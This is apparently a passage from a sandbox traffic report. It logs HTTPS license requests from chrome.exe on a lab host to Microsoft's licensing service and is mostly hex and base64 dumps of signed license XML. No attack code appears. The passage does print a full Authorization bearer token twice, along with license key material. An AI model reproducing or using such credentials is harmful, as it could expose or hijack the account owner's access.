SIgLz48L1RyYW5zZm9ybXM+PERpZ2VzdE1ldGhvZCBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDEv
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2022-07-01 09:01:25 UTC 2148 IN Data Raw: 6d 39 57 55 30 70 59 53 58 52 45 63 32 46 42 53 57 5a 33 65 56 49 35 59 6d 68 6f 4c 31 70 54 63 48 42 44 51 
55 38 72 61 57 34 35 55 45 39 4d 56 32 52 44 4d 69 39 55 55 57 39 6b 5a 32 56 49 57 6e 70 69 5a 45 4a 32 65 45 70 32 
53 32 68 77 59 6e 4a 78 4e 6c 70 51 4d 45 5a 7a 55 30 56 73 54 48 64 53 62 30 78 42 62 58 59 33 65 6b 6c 31 56 6e 63 
7a 56 6d 49 33 64 47 5a 52 64 44 56 69 61 6b 4e 45 53 46 4a 42 52 7a 6c 6d 5a 58 4e 4f 62 46 6c 4c 56 6a 4e 35 59 6e 6
c 4f 63 6b 68 35 65 6d 64 73 5a 6c 70 51 55 6b 49 31 56 55 70 61 64 7a 4d 79 65 57 6b 77 4d 33 70 52 59 53 74 4d 54 
47 45 77 4e 57 5a 71 63 7a 5a 71 62 30 56 74 62 45 68 6a 4e 55 4a 79 52 31 46 79 52 33 4a 69 54 6b 31 43 59 57 68 36 
4e 47 4e 74 64 58 68 4c 51 7a 51 76 5a 47 68 46 59 6a 64 4b 57 6b 5a 56 
Data Ascii: m9WU0pYSXREc2FBSWZ3eVI5YmhoL1pTcHBDQU8raW45UE9MV2RDMi9UUW9kZ2VIWnpiZEJ2eEp2S2h
wYnJxNlpQMEZzU0VsTHdSb0xBbXY3ekl1VnczVmI3dGZRdDViakNESFJBRzlmZXNObFlLVjN5YnlOckh5emdsZlpQU
kI1VUpadzMyeWkwM3pRYStMTGEwNWZqczZqb0VtbEhjNUJyR1FyR3JiTk1CYWh6NGNtdXhLQzQvZGhFYjdKWkZV

2022-07-01 09:01:25 UTC 2149 IN Data Raw: 6b 61 57 35 6e 58 31 52 35 63 47 55 39 49 6b 31 68 59 32 68 70 62 6d 55 69 50 6a 78 42 63 33 4e 76 59 32 
6c 68 64 47 56 6b 55 45 5a 4f 63 7a 35 4e 61 57 4e 79 62 33 4e 76 5a 6e 51 75 52 47 56 7a 61 33 52 76 63 45 46 77 63 
45 6c 75 63 33 52 68 62 47 78 6c 63 6c 38 34 64 32 56 72 65 57 49 7a 5a 44 68 69 59 6e 64 6c 50 43 39 42 63 33 4e 76 
59 32 6c 68 64 47 56 6b 55 45 5a 4f 63 7a 34 38 54 47 56 68 63 32 56 53 5a 57 35 6c 64 32 46 73 55 47 56 79 61 57 39 
6b 50 6a 45 79 4f 54 59 77 4d 44 77 76 54 47 56 68 63 32 56 53 5a 57 35 6c 64 32 46 73 55 47 56 79 61 57 39 6b 50 6a 
77 76 51 6d 6c 75 5a 47 6c 75 5a 7a 34 38 54 47 6c 6a 5a 57 35 7a 5a 55 6c 75 5a 6d 38 67 56 48 6c 77 5a 54 30 69 54 
47 56 68 63 32 55 69 49 45 78 70 59 32 56 75 63 32 56 56 63 32 46 6e 5a 54 
Data Ascii: kaW5nX1R5cGU9Ik1hY2hpbmUiPjxBc3NvY2lhdGVkUEZOcz5NaWNyb3NvZnQuRGVza3RvcEFwcEluc
3RhbGxlcl84d2VreWIzZDhiYndlPC9Bc3NvY2lhdGVkUEZOcz48TGVhc2VSZW5ld2FsUGVyaW9kPjEyOTYwMDwvTGV
hc2VSZW5ld2FsUGVyaW9kPjwvQmluZGluZz48TGljZW5zZUluZm8gVHlwZT0iTGVhc2UiIExpY2Vuc2VVc2FnZT

2022-07-01 09:01:25 UTC 2150 IN Data Raw: 77 63 30 6c 74 64 48 42 69 62 56 46 70 54 32 6c 4b 52 47 49 79 4e 54 42 61 56 7a 55 77 53 57 6c 33 61 57 
4e 48 52 6d 70 68 4d 6b 5a 75 57 6c 68 4e 61 55 39 73 64 44 64 4a 62 6b 4a 6f 57 54 4a 30 61 46 6f 79 56 6b 70 61 52 
31 5a 31 5a 45 64 73 62 57 46 58 56 6e 6c 4a 61 6d 39 70 54 31 52 6a 4d 6b 31 55 53 58 6c 50 52 45 6c 30 57 6b 52 47 
62 45 39 44 4d 48 68 61 52 46 70 6f 54 46 52 73 62 45 39 55 53 58 52 5a 65 6b 6b 7a 54 56 64 56 4d 31 70 71 52 54 4e 
4f 4d 6c 5a 74 53 57 6c 33 61 57 4e 48 52 6d 70 68 4d 6b 5a 75 57 6c 5a 53 4e 57 4e 48 56 57 6c 50 61 55 70 30 59 7a 
4a 73 4e 45 6c 70 64 32 6c 6a 53 45 70 32 57 6b 68 57 61 6d 52 46 52 6d 74 61 52 54 6c 31 59 33 6c 4a 4e 6c 63 78 4d 
48 4e 4a 62 6b 4a 35 59 6a 4a 53 4d 56 6b 7a 55 6b 70 61 51 30 6b 32 53 57 
Data Ascii: wc0ltdHBibVFpT2lKRGIyNTBaVzUwSWl3aWNHRmphMkZuWlhNaU9sdDdJbkJoWTJ0aFoyVkpaR1Z1Z
EdsbWFXVnlJam9pT1RjMk1USXlPREl0WkRGbE9DMHhaRFpoTFRsbE9USXRZekkzTVdVM1pqRTNOMlZtS
Wl3aWNHRmphMkZuWlZSNWNHVWlPaUp0YzJsNElpd2ljSEp2WkhWamRFRmtaRTl1Y3lJNlcxMHNJbkJ5YjJSMVkzUkp
aQ0k2SW

2022-07-01 09:01:25 UTC 2151 IN Data Raw: 79 5a 53 42 34 62 57 78 75 63 7a 30 69 61 48 52 30 63 44 6f 76 4c 33 64 33 64 79 35 33 4d 79 35 76 63 6d 63 
76 4d 6a 41 77 4d 43 38 77 4f 53 39 34 62 57 78 6b 63 32 6c 6e 49 79 49 2b 50 46 4e 70 5a 32 35 6c 5a 45 6c 75 5a 6d 
38 2b 50 45 4e 68 62 6d 39 75 61 57 4e 68 62 47 6c 36 59 58 52 70 62 32 35 4e 5a 58 52 6f 62 32 51 67 51 57 78 6e 62 
33 4a 70 64 47 68 74 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 78 4
c 7a 45 77 4c 33 68 74 62 43 31 6c 65 47 4d 74 59 7a 45 30 62 69 4d 69 49 43 38 2b 50 46 4e 70 5a 32 35 68 64 48 56 
79 5a 55 31 6c 64 47 68 76 5a 43 42 42 62 47 64 76 63 6d 6c 30 61 47 30 39 49 6d 68 30 64 48 41 36 4c 79 39 33 64 33 
63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 4d 44 51 76 65 47 
Data Ascii: yZSB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC8wOS94bWxkc2lnIyI+PFNpZ25lZEluZm8+P
ENhbm9uaWNhbGl6YXRpb25NZXRob2QgQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxLzEwL3htbC1leGM
tYzE0biMiIC8+PFNpZ25hdHVyZU1ldGhvZCBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvMDQveG

2022-07-01 09:01:25 UTC 2152 IN Data Raw: 50 59 6b 35 6b 4c 31 55 72 61 57 74 35 52 7a 46 74 63 32 64 4e 64 30 39 6d 51 6b 30 77 4e 45 67 78 51 6d 
56 51 53 55 49 77 4d 58 52 4b 52 46 64 45 4e 6c 4d 31 59 32 39 32 53 58 68 69 64 7a 41 34 59 6b 77 34 5a 6b 39 6c 55 
48 4a 45 65 57 4a 70 51 55 77 32 54 32 4e 68 63 79 38 30 65 6b 70 6a 62 46 64 46 5a 32 39 4e 54 6a 68 6a 4f 46 41 30 
56 56 42 4b 52 33 70 49 62 48 63 39 50 54 77 76 55 32 6c 6e 62 6d 46 30 64 58 4a 6c 56 6d 46 73 64 57 55 2b 50 45 74 
6c 65 55 6c 75 5a 6d 38 67 53 57 51 39 49 6c 38 77 5a 6a 67 78 59 6a 49 30 5a 69 31 69 59 7a 51 77 4c 54 49 33 4d 54 
49 74 4d 47 51 31 5a 43 31 6c 4e 32 4d 78 4d 44 41 34 4e 57 4d 7a 4d 7a 41 69 50 6a 78 4c 5a 58 6c 57 59 57 78 31 5a 
54 34 38 55 6c 4e 42 53 32 56 35 56 6d 46 73 64 57 55 2b 50 45 31 76 5a 48 
Data Ascii: PYk5kL1UraWt5RzFtc2dNd09mQk0wNEgxQmVQSUIwMXRKRFdENlM1Y292SXhidzA4Ykw4Zk9lUHJEe
WJpQUw2T2Nhcy80ekpjbFdFZ29NTjhjOFA0VVBKR3pIbHc9PTwvU2lnbmF0dXJlVmFsdWU+PEtleUluZm8gSWQ9Il8
wZjgxYjI0Zi1iYzQwLTI3MTItMGQ1ZC1lN2MxMDA4NWMzMzAiPjxLZXlWYWx1ZT48UlNBS2V5VmFsdWU+PE1vZH

Timestamp
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

123 192.168.2.5 49890 20.123.104.105 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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2022-07-01 09:01:25 UTC 2152 OUT POST /v7.0/licenses/content HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json; charset=utf-8
Authorization: t=EwCoBF8iAQAUkOrzy5O8+zKmOLh4X1kZomC7Ye8AAXIEoR7zVBsigo9+ELiiOPQgXNnqxslE8
JGHvlJPLIUUKouiwbgUni88ojzdGkdqFYYxxM5X9Ms5ydSvJFd3DZPMh0fLqF+d6noF2yzw2kJ7MwjAqWkQK0UX/a2
X3ShCSw11oNjoZpYc16pKFSkiL1guCryQknhJFxUNvpcM/mUO4J45kW/UANpVJMg9gDEiHFbRMPVe4XwtYHsROYOhh
Wh/1ix6VL6WuHyfvlkfekuIUUqh1k5GyjH1OMI7ATpSB8ZlpG7DvmA3TMU3Avh/Kyp20u4YfE7FQeZk27MtQODcOqx
r47CWO34DzhVOwzM6ckzQAjwiuN4oCNPUinxYaD0DZgAACCrsBL0oic4EeAOxmnWWC6VaWWaLWlPjwhzf4JoklMOzh
LlxAXqZ23+nx5n2ghWbB319xUQ3gAHi3vutcxW0EYu4MoFf+3kVo1VdxJihYML7fchf2azHMJStufF7tKl11N72gUB
sJi5iZnOXwfiB7B4lKYh3x5vZ2KfPdIQStUnZOBptzrf7x9RPD8cDFe3o++PVGJsK8Jb2tq3kr+aeLhzm6Id/kr4ZH
PHmS3ldf61PYLln9fL17+PWsOsDHkz7/Rl0+eJgZtP1dgC3Vu5dOF0ACzpt4zvm3HqYlTsG16p6VMyOYHZrX2KJdif
VOH7f5OVMjlGaj1tZF9GhBm752zHRZqQQkTMB4R+Nz1RDhkRmcRRnI9JO7BgjQPwOFZSe8xBvKNrcPLP
5ARJ+GJWSS5xjFAVxT6uAZU6MwHnGrgT4x+vlMWUJxDsAx5/JKY5/EF219tMGD8hQCSb+fb9BYFL3F/aagO162MKam
bsxMIrRucH374Xi4bDQj7VBOPrBWkuclUT148aGjNJYqtpiMS/CiRaXz+Ds/pTq2P6mniYMoIwVB14Ps6wwnJ7RAlS
tc2SEkcWZV3Tio45sCxl9Zv9vuHmKEnXU7PuS7sG3zVsKVc12aop7rUVT8EQGh0jDTpl80tIrJMRQfVvKwNlG8xLTR
T2bxdMM1RPSvLRZ0doPPBQ3xLXWQ3AOCEyFyjQ/3hYO1b2xE2a+Dswj3BOIQDshGKECzOKyj2OdWRMnLy8otyr8IAf
u3uGmgVPtbCFfgKzSvpCybywmW989QKSTFu7Xrn7DLafyfCoTZJfDD7fkjkVirFvnQPIUInsun19F2pNKrMq1KUwFz
u8mZkEDqtnjX6LEawC9VA62+L/kyJdSzdwQNJBD1ewtgiQX0Lu/9d9/R0AgVII3uTtGH5CloikBHjbJhfFY7Co6uZe
ZOKIL/9qmVDSc7ff3xKZQJAKLas3lHwfAKBvefbIQ9FzAKvSiqq+hbWggytvlVxJr8fM88U3K/WlkXyvavlNwqIZuU
m7uQ4szU1RF6ZfgnjC5jF1x4tKS1UK/+vxQ9XblOb3PX59I7PdoyRyFpdfPtDTGTIut8eygNRhAKN1krjohs2/yTrO
dj6AbKvNsNeUXEHVkksCLA71M2H9ls/e0KWUp8HWM22VCicNvgzoiFBn/5mw21CbanZYybAyWwpzHha4+PUKdAw==&
p=
User-Agent: LM
MS-CV: UznHpAHqV0GMBdER.10
Content-Length: 4269
Host: licensing.mp.microsoft.com

2022-07-01 09:01:25 UTC 2154 OUT Data Raw: 7b 22 63 6c 69 65 6e 74 43 68 61 6c 6c 65 6e 67 65 22 3a 22 50 44 39 34 62 57 77 67 64 6d 56 79 63 32 6c 
76 62 6a 30 69 4d 53 34 77 49 69 42 6c 62 6d 4e 76 5a 47 6c 75 5a 7a 30 69 64 58 52 6d 4c 54 67 69 49 44 38 2b 50 45 
4e 73 61 57 56 75 64 45 4e 6f 59 57 78 73 5a 57 35 6e 5a 53 42 34 62 57 78 75 63 7a 70 34 63 32 6b 39 49 6d 68 30 64 
48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 
4c 57 6c 75 63 33 52 68 62 6d 4e 6c 49 69 42 34 62 57 78 75 63 7a 70 34 63 32 51 39 49 6d 68 30 64 48 41 36 4c 79 39 
33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 49 69 42 34 62 57 
78 75 63 7a 30 69 61 48 52 30 63 44 6f 76 4c 33 4e 6a 61 47 56 74 59 58 4d 
Data Ascii: {"clientChallenge":"PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiID8+PENsaWVudENoYWxs
ZW5nZSB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2
Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4bWxucz0iaHR0cDovL3NjaGVtYXM

2022-07-01 09:01:25 UTC 2158 IN HTTP/1.1 200 OK
Connection: close
Date: Fri, 01 Jul 2022 09:01:24 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Content-Length: 7929
MS-CorrelationId: 338c4e55-1f85-4501-9acd-61425dbcc734
MS-RequestId: c4dc4096-5de5-435f-89ff-479d335ff02c
MS-CV: UznHpAHqV0GMBdER.10.1530939150.0.0
X-Content-Type-Options: nosniff
MS-ServerId: ent-bc5c55848-mg94f

2022-07-01 09:01:25 UTC 2159 IN Data Raw: 7b 22 6c 69 63 65 6e 73 65 22 3a 7b 22 6b 65 79 73 22 3a 5b 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 64 
72 6d 54 79 70 65 22 3a 22 4d 6b 6d 73 22 2c 22 6b 65 79 49 64 22 3a 22 35 33 39 30 62 65 31 30 2d 37 39 62 35 2d 64 
63 35 30 2d 62 62 33 32 2d 39 31 38 34 32 63 37 36 65 36 30 37 22 7d 2c 22 76 61 6c 75 65 22 3a 22 50 45 78 70 59 32 
56 75 63 32 55 67 65 47 31 73 62 6e 4d 36 65 48 4e 6b 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 
6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 6a 61 47 56 74 59 53 49 67 65 47 31 73 62 6e 4d 36 65 48 4e 70 
50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 
6a 61 47 56 74 59 53 31 70 62 6e 4e 30 59 57 35 6a 5a 53 49 67 53 55 51 39 
Data Ascii: {"license":{"keys":[{"metadata":{"drmType":"Mkms","keyId":"5390be10-79b5-dc50-bb32-91842c76e607"},
"value":"PExpY2Vuc2UgeG1sbnM6eHNkPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYSIgeG1sbnM6e
HNpPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYS1pbnN0YW5jZSIgSUQ9

2022-07-01 09:01:25 UTC 2160 IN Data Raw: 54 67 36 4e 54 45 75 4f 44 59 78 4d 54 6b 7a 4e 56 6f 38 4c 30 4a 6c 5a 32 6c 75 52 47 46 30 5a 54 34 38 4c 
30 78 70 59 32 56 75 63 32 56 4a 62 6d 5a 76 50 6a 78 44 64 58 4e 30 62 32 31 51 62 32 78 70 59 32 6c 6c 63 7a 35 6c 
65 55 70 7a 57 6c 64 6b 61 46 6b 7a 62 46 46 6a 62 54 6c 72 5a 46 64 4f 4d 46 4e 58 55 57 6c 50 61 55 70 73 57 56 64 
47 62 55 31 74 54 6d 78 4e 65 54 46 72 54 6c 64 46 65 6b 78 55 55 6d 68 4f 56 47 74 30 57 56 64 56 65 6b 31 54 4d 48 
6c 4f 65 6c 70 74 57 57 31 4e 4d 45 35 48 52 54 4e 5a 4d 6c 46 70 5a 6c 45 39 50 54 77 76 51 33 56 7a 64 47 39 74 55 
47 39 73 61 57 4e 70 5a 58 4d 2b 50 46 4e 51 54 47 6c 6a 5a 57 35 7a 5a 55 4a 73 62 32 4e 72 50 6b 5a 42 51 55 46 42 
53 32 39 42 51 55 46 45 53 6b 46 42 51 55 46 44 5a 30 46 42 51 55 46 56 
Data Ascii: Tg6NTEuODYxMTkzNVo8L0JlZ2luRGF0ZT48L0xpY2Vuc2VJbmZvPjxDdXN0b21Qb2xpY2llcz5leUp
zWldkaFkzbFFjbTlrZFdOMFNXUWlPaUpsWVdGbU1tTmxNeTFrTldFekxUUmhOVGt0WVdVek1TMHlOelptWW1NME5HR
TNZMlFpZlE9PTwvQ3VzdG9tUG9saWNpZXM+PFNQTGljZW5zZUJsb2NrPkZBQUFBS29BQUFESkFBQUFDZ0FBQUFV

2022-07-01 09:01:25 UTC 2161 IN Data Raw: 6a 78 55 63 6d 46 75 63 32 5a 76 63 6d 31 7a 50 6a 78 55 63 6d 46 75 63 32 5a 76 63 6d 30 67 51 57 78 6e 
62 33 4a 70 64 47 68 74 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 
77 4c 7a 41 35 4c 33 68 74 62 47 52 7a 61 57 63 6a 5a 57 35 32 5a 57 78 76 63 47 56 6b 4c 58 4e 70 5a 32 35 68 64 48 
56 79 5a 53 49 67 4c 7a 34 38 4c 31 52 79 59 57 35 7a 5a 6d 39 79 62 58 4d 2b 50 45 52 70 5a 32 56 7a 64 45 31 6c 64 
47 68 76 5a 43 42 42 62 47 64 76 63 6d 6c 30 61 47 30 39 49 6d 68 30 64 48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 
62 33 4a 6e 4c 7a 49 77 4d 44 45 76 4d 44 51 76 65 47 31 73 5a 57 35 6a 49 33 4e 6f 59 54 49 31 4e 69 49 67 4c 7a 34 
38 52 47 6c 6e 5a 58 4e 30 56 6d 46 73 64 57 55 2b 4c 33 56 35 5a 6b 39 57 
Data Ascii: jxUcmFuc2Zvcm1zPjxUcmFuc2Zvcm0gQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwLzA
5L3htbGRzaWcjZW52ZWxvcGVkLXNpZ25hdHVyZSIgLz48L1RyYW5zZm9ybXM+PERpZ2VzdE1ldGhvZCBBbGdvcml0a
G09Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvMDQveG1sZW5jI3NoYTI1NiIgLz48RGlnZXN0VmFsdWU+L3V5Zk9W
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2022-07-01 09:01:25 UTC 2162 IN Data Raw: 69 39 55 55 57 39 6b 5a 32 56 49 57 6e 70 69 5a 45 4a 32 65 45 70 32 53 32 68 77 59 6e 4a 78 4e 6c 70 51 
4d 45 5a 7a 55 30 56 73 54 48 64 53 62 30 78 42 62 58 59 33 65 6b 6c 31 56 6e 63 7a 56 6d 49 33 64 47 5a 52 64 44 56 
69 61 6b 4e 45 53 46 4a 42 52 7a 6c 6d 5a 58 4e 4f 62 46 6c 4c 56 6a 4e 35 59 6e 6c 4f 63 6b 68 35 65 6d 64 73 5a 6c 7
0 51 55 6b 49 31 56 55 70 61 64 7a 4d 79 65 57 6b 77 4d 33 70 52 59 53 74 4d 54 47 45 77 4e 57 5a 71 63 7a 5a 71 62 
30 56 74 62 45 68 6a 4e 55 4a 79 52 31 46 79 52 33 4a 69 54 6b 31 43 59 57 68 36 4e 47 4e 74 64 58 68 4c 51 7a 51 76 
5a 47 68 46 59 6a 64 4b 57 6b 5a 56 61 32 4d 77 54 56 4a 6f 63 79 39 4e 4d 31 5a 6c 4e 54 45 78 53 46 46 6d 53 33 56 
48 4b 7a 6b 79 5a 7a 46 50 5a 6d 5a 4b 5a 46 4a 7a 51 56 42 36 56 31 4a 6b 
Data Ascii: i9UUW9kZ2VIWnpiZEJ2eEp2S2hwYnJxNlpQMEZzU0VsTHdSb0xBbXY3ekl1VnczVmI3dGZRdDViakN
ESFJBRzlmZXNObFlLVjN5YnlOckh5emdsZlpQUkI1VUpadzMyeWkwM3pRYStMTGEwNWZqczZqb0VtbEhjNUJyR1FyR
3JiTk1CYWh6NGNtdXhLQzQvZGhFYjdKWkZVa2MwTVJocy9NM1ZlNTExSFFmS3VHKzkyZzFPZmZKZFJzQVB6V1Jk

2022-07-01 09:01:25 UTC 2163 IN Data Raw: 79 62 33 4e 76 5a 6e 51 75 51 6d 6c 75 5a 30 35 6c 64 33 4e 66 4f 48 64 6c 61 33 6c 69 4d 32 51 34 59 6d 4a 
33 5a 54 77 76 51 58 4e 7a 62 32 4e 70 59 58 52 6c 5a 46 42 47 54 6e 4d 2b 50 45 78 6c 59 58 4e 6c 55 6d 56 75 5a 58 
64 68 62 46 42 6c 63 6d 6c 76 5a 44 34 78 4d 6a 6b 32 4d 44 41 38 4c 30 78 6c 59 58 4e 6c 55 6d 56 75 5a 58 64 68 62 
46 42 6c 63 6d 6c 76 5a 44 34 38 4c 30 4a 70 62 6d 52 70 62 6d 63 2b 50 45 78 70 59 32 56 75 63 32 56 4a 62 6d 5a 76 
49 46 52 35 63 47 55 39 49 6b 78 6c 59 58 4e 6c 49 69 42 4d 61 57 4e 6c 62 6e 4e 6c 56 58 4e 68 5a 32 55 39 49 6b 39 
75 62 47 6c 75 5a 53 49 67 54 47 6c 6a 5a 57 35 7a 5a 55 4e 68 64 47 56 6e 62 33 4a 35 50 53 4a 53 5a 58 52 68 61 57 
77 69 50 6a 78 4a 63 33 4e 31 5a 57 52 45 59 58 52 6c 50 6a 49 77 4d 6a 
Data Ascii: yb3NvZnQuQmluZ05ld3NfOHdla3liM2Q4YmJ3ZTwvQXNzb2NpYXRlZFBGTnM+PExlYXNlUmVuZXdhb
FBlcmlvZD4xMjk2MDA8L0xlYXNlUmVuZXdhbFBlcmlvZD48L0JpbmRpbmc+PExpY2Vuc2VJbmZvIFR5cGU9IkxlYXN
lIiBMaWNlbnNlVXNhZ2U9Ik9ubGluZSIgTGljZW5zZUNhdGVnb3J5PSJSZXRhaWwiPjxJc3N1ZWREYXRlPjIwMj

2022-07-01 09:01:25 UTC 2164 IN Data Raw: 61 4d 6c 5a 4b 57 6b 64 57 64 57 52 48 62 47 31 68 56 31 5a 35 53 57 70 76 61 55 31 58 57 54 4a 4e 4d 6b 
6b 30 57 58 70 4e 64 45 31 74 55 54 42 50 51 7a 41 31 54 6b 52 72 4d 30 78 55 51 6d 68 4e 52 30 56 30 54 57 31 4f 61 
56 70 45 55 54 4a 4e 62 56 5a 72 57 6c 52 6a 4d 6b 6c 70 64 32 6c 6a 52 30 5a 71 59 54 4a 47 62 6c 70 57 55 6a 56 6a 
52 31 56 70 54 32 6c 4b 64 47 4d 79 62 44 52 4a 61 58 64 70 59 30 68 4b 64 6c 70 49 56 6d 70 6b 52 55 5a 72 57 6b 55 
35 64 57 4e 35 53 54 5a 58 4d 54 42 7a 53 57 35 43 65 57 49 79 55 6a 46 5a 4d 31 4a 4b 57 6b 4e 4a 4e 6b 6c 71 62 46 
68 58 61 31 4a 50 55 54 46 4b 52 31 4e 47 57 6b 64 57 65 55 6c 7a 53 57 35 4f 63 6d 52 56 62 47 74 4a 61 6d 39 70 54 
55 52 42 65 45 31 44 53 6a 6c 59 55 33 64 70 59 30 63 35 63 32 4a 46 52 6a 
Data Ascii: aMlZKWkdWdWRHbG1hV1Z5SWpvaU1XWTJNMkk0WXpNdE1tUTBPQzA1TkRrM0xUQmhNR0V
0TW1OaVpEUTJNbVZrWlRjMklpd2ljR0ZqYTJGblpWUjVjR1VpT2lKdGMybDRJaXdpY0hKdlpIVmpkRUZrWkU5dWN5S
TZXMTBzSW5CeWIyUjFZM1JKWkNJNklqbFhXa1JPUTFKR1NGWkdWeUlzSW5OcmRVbGtJam9pTURBeE1DS
jlYU3dpY0c5c2JFRj

2022-07-01 09:01:25 UTC 2165 IN Data Raw: 6f 62 32 51 67 51 57 78 6e 62 33 4a 70 64 47 68 74 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 
7a 4c 6d 39 79 5a 79 38 79 4d 44 41 78 4c 7a 45 77 4c 33 68 74 62 43 31 6c 65 47 4d 74 59 7a 45 30 62 69 4d 69 49 43 
38 2b 50 46 4e 70 5a 32 35 68 64 48 56 79 5a 55 31 6c 64 47 68 76 5a 43 42 42 62 47 64 76 63 6d 6c 30 61 47 30 39 49 
6d 68 30 64 48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 4d 44 51 76 65 47 31 73 
5a 48 4e 70 5a 79 31 74 62 33 4a 6c 49 33 4a 7a 59 53 31 7a 61 47 45 79 4e 54 59 69 49 43 38 2b 50 46 4a 6c 5a 6d 56 
79 5a 57 35 6a 5a 53 42 56 55 6b 6b 39 49 69 49 2b 50 46 52 79 59 57 35 7a 5a 6d 39 79 62 58 4d 2b 50 46 52 79 59 57 
35 7a 5a 6d 39 79 62 53 42 42 62 47 64 76 63 6d 6c 30 61 47 30 39 49 6d 
Data Ascii: ob2QgQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxLzEwL3htbC1leGMtYzE0biMiIC8+P
FNpZ25hdHVyZU1ldGhvZCBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvMDQveG1sZHNpZy1tb3JlI3J
zYS1zaGEyNTYiIC8+PFJlZmVyZW5jZSBVUkk9IiI+PFRyYW5zZm9ybXM+PFRyYW5zZm9ybSBBbGdvcml0aG09Im

2022-07-01 09:01:25 UTC 2166 IN Data Raw: 4e 62 48 52 33 62 31 6f 34 4d 6d 68 78 4d 33 68 30 57 56 45 39 50 54 77 76 55 32 6c 6e 62 6d 46 30 64 58 4a 
6c 56 6d 46 73 64 57 55 2b 50 45 74 6c 65 55 6c 75 5a 6d 38 67 53 57 51 39 49 6c 38 77 5a 6a 67 78 59 6a 49 30 5a 69 
31 69 59 7a 51 77 4c 54 49 33 4d 54 49 74 4d 47 51 31 5a 43 31 6c 4e 32 4d 78 4d 44 41 34 4e 57 4d 7a 4d 7a 41 69 50 
6a 78 4c 5a 58 6c 57 59 57 78 31 5a 54 34 38 55 6c 4e 42 53 32 56 35 56 6d 46 73 64 57 55 2b 50 45 31 76 5a 48 56 73 
64 58 4d 2b 62 31 5a 54 53 6c 68 4a 64 45 52 7a 59 55 46 4a 5a 6e 64 35 55 6a 6c 69 61 47 67 76 57 6c 4e 77 63 45 4e 
42 54 79 74 70 62 6a 6c 51 54 30 78 58 5a 45 4d 79 4c 31 52 52 62 32 52 6e 5a 55 68 61 65 6d 4a 6b 51 6e 5a 34 53 6e 
5a 4c 61 48 42 69 63 6e 45 32 57 6c 41 77 52 6e 4e 54 52 57 78 4d 64 31 
Data Ascii: NbHR3b1o4MmhxM3h0WVE9PTwvU2lnbmF0dXJlVmFsdWU+PEtleUluZm8gSWQ9Il8wZjgxYjI0Zi1iY
zQwLTI3MTItMGQ1ZC1lN2MxMDA4NWMzMzAiPjxLZXlWYWx1ZT48UlNBS2V5VmFsdWU+PE1vZHVsdXM+b
1ZTSlhJdERzYUFJZnd5UjliaGgvWlNwcENBTytpbjlQT0xXZEMyL1RRb2RnZUhaemJkQnZ4SnZLaHBicnE2WlAwRnN
TRWxMd1

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

124 192.168.2.5 49891 20.123.104.105 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:25 UTC 2166 OUT POST /v7.0/licenses/content HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json; charset=utf-8
Authorization: t=EwCoBF8iAQAUkOrzy5O8+zKmOLh4X1kZomC7Ye8AAXIEoR7zVBsigo9+ELiiOPQgXNnqxslE8
JGHvlJPLIUUKouiwbgUni88ojzdGkdqFYYxxM5X9Ms5ydSvJFd3DZPMh0fLqF+d6noF2yzw2kJ7MwjAqWkQK0UX/a2
X3ShCSw11oNjoZpYc16pKFSkiL1guCryQknhJFxUNvpcM/mUO4J45kW/UANpVJMg9gDEiHFbRMPVe4XwtYHsROYOhh
Wh/1ix6VL6WuHyfvlkfekuIUUqh1k5GyjH1OMI7ATpSB8ZlpG7DvmA3TMU3Avh/Kyp20u4YfE7FQeZk27MtQODcOqx
r47CWO34DzhVOwzM6ckzQAjwiuN4oCNPUinxYaD0DZgAACCrsBL0oic4EeAOxmnWWC6VaWWaLWlPjwhzf4JoklMOzh
